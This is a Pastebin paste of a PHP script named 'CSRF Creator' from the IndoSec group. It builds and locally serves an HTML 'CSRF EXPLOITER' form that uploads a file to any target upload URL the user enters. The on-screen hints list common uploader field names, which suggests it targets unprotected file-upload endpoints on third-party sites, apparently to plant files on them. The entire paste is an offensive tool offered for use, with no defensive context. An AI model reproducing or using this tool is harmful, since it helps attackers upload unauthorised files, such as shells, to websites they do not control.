VanGans

CSRF Creator

Apr 14th, 2019
202
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.17 KB | None | 0 0
  1. <?php
  2. system(clear);
  3.  
  4.         print "\e[91m
  5. ▄▄· .▄▄ · ▄▄▄  ·▄▄▄     ▄▄· ▄▄▄  ▄▄▄ . ▄▄▄· ▄▄▄▄▄      ▄▄▄  
  6. ▐█ ▌▪▐█ ▀. ▀▄ █·▐▄▄·    ▐█ ▌▪▀▄ █·▀▄.▀·▐█ ▀█ •██  ▪     ▀▄ █·
  7. ██ ▄▄▄▀▀▀█▄▐▀▀▄ ██▪     ██ ▄▄▐▀▀▄ ▐▀▀▪▄▄█▀▀█  ▐█.▪ ▄█▀▄ ▐▀▀▄
  8. ▐███▌▐█▄▪▐█▐█•█▌██▌.    ▐███▌▐█•█▌▐█▄▄▌▐█ ▪▐▌ ▐█▌·▐█▌.▐▌▐█•█▌
  9. ·▀▀▀  ▀▀▀▀ .▀  ▀▀▀▀     ·▀▀▀ .▀  ▀ ▀▀▀  ▀  ▀  ▀▀▀  ▀█▄▀▪.▀  ▀
  10.            \e[93mCSRF Creator Yang Dibuat Saat Gabut :v
  11.                      { IndoSec }\n\n";
  12. echo "\e[92mNote : Post File, Type : Filedata / dzupload /
  13. dzfile / dzfiles / file / ajaxfup / files[] / qqfile /
  14. userfile / etc\n\n";
  15. echo "\e[36mEx : http://site.com/path/upload.php\n";
  16. echo "\e[37mURL : ";
  17. $a = trim(fgets(STDIN));
  18. echo "POST FILE : ";
  19. $b = trim(fgets(STDIN));   
  20. $data = "<!DOCTYPE html>
  21. <html>
  22. <head>
  23.     <title>CSRF Creator By { IndoSec }</title>
  24.     <link href='https://fonts.googleapis.com/css?family=Gloria+Hallelujah' rel='stylesheet'>
  25.     <link href='https://fonts.googleapis.com/css?family=Kalam' rel='stylesheet'>
  26.  
  27. </head>
  28. <style type='text/css'>
  29.     html {
  30.         background-color: black;
  31.         color: white;
  32.         font-family: Kalam;
  33.     }
  34.     h1 {
  35.         font-family: Gloria Hallelujah;
  36.     }
  37.  
  38. </style>
  39. <body>
  40. <center>
  41.     <font color='white' face='Gloria Hallelujah' size='7'>CSRF EXPLOITER</font><br>
  42.     =============== I N F O ===============<br>
  43.     SITE : ".$a."<br>
  44.     POST FILE : ".$b."<br>
  45.     =======================================<br>
  46. <form method='post' target='_blank' action='".$a."' enctype='multipart/form-data'><input type='file' name='".$b."'><input type='submit' name='file' value='Upload File'></form>
  47. </center>
  48. </body>
  49. </html>";
  50. $c = fopen('index.html', 'a');
  51. fwrite($c, $data);
  52. fclose($c);
  53. echo "Mohon Tunggu...";
  54. sleep(2);
  55. echo "\nSilahkan Buka http://localhost:1337\n";
  56. sleep(3);
  57. system('php -S localhost:1337');
  58.  ?>
Add Comment
Please, Sign In to add comment